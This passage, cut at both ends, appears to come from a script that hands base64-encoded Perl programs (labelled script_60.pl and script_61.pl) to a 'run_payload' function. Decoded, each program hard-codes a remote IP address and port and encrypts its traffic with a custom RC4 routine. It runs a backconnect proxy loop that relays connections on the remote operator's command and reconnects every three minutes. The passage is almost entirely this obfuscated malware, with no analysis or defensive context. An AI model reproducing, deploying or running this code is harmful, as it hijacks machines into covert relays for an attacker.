IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_60.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_61.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAzJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1b